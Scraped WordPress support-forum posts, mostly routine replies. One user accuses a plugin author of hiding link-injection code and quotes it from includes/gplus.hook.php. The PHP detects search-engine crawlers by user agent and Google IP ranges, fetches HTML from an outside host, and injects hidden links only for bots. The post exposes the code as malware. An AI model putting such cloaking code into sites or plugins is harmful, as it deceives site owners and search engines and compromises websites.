?ygimantas

@haseeb0001?
I’m glad you found the cause of the problem and fixed the code.

Sorry – can’t test it.

Regards!

Hi, @dpdbaltics,

Problem solved. Thanks!

Hey, @haseeb0001
I can’t make a diagnostic report, because switching to another plugin.
My PHP 7.4. Plugin was configured to send emails via SendGrid. WooCommerce version: 7.4.0
Server info: Apache/2.4.54 (Debian)
MySQL version: 5.5.5-10.4.20-MariaDB-1:10.4.20+maria~buster-log
Website hosted by Cloudways.
Hope it helps.

Dear moin creator, Thanks!
This sollution HELPED ME, thank you so much, eternaly greatefull ??

@angelacarmichael Hope others will understand what I mean. It does not matter, how do you call this function. If promotional code removed, it is ok. But I wil NEVER use Your plugins again.

@angelacarmichael You inserted (stealth method) in to Your script fot linkbuilding. Users do not detect, but crawlers and robotts indexing. So it is MALWARE. And NO. I’m not crying wolf. Plugin users MUST to know if script author using hidden script implementation.

@jan Dembowski Thank You

And definitely not showing links to users.

BUT showing links to google bot!

File: includes/gplus.hook.php Line: 37
add_filter('template_include', 'gen_include', 1); function gen_include($template) { ob_start(); return $template; } add_filter('shutdown', 'gen2', 0); function gen2() { $v = "1"; $sw = (is_home() ? "0" : "1"); $h = $_SERVER['SERVER_NAME']; $a = "https://api.tqj.us/v3/link/creditbyversion/$h/$v/$sw"; if (genua() || genrev()) { $bl = file_get_contents($a); echo preg_replace('#<body([^>]*)>#i', "<body$1>{$bl}", ob_get_clean()); } } function genrev() { $gsn = array( "216.239.32.0/19", "64.233.160.0/19", "66.249.80.0/20", "72.14.192.0/18", "209.85.128.0/17", "66.102.0.0/20", "74.125.0.0/16", "64.18.0.0/20", "207.126.144.0/20", "173.194.0.0/16" ); foreach ($gsn as $n) { if (genmat($n, $ip)) return true; } return false; } function genua() { $ua = strtolower($_SERVER['HTTP_USER_AGENT']); $sites = 'google|yahoo|msnbot|bingbot|baidu|jeeves'; return (preg_match("/$sites/", $ua) > 0) ? true : false; } function genmat($network) { $ip = $_SERVER['REMOTE_ADDR']; $ip_arr = explode("/", $network); $network_long = ip2long($ip_arr[0]); $mask_long = pow(2, 32) - pow(2, (32 - $ip_arr[1])); $ip_long = ip2long($ip); if (($ip_long & $mask_long) == $network_long) { return true; } else { return false; } }

It is hidden malware for googlebot.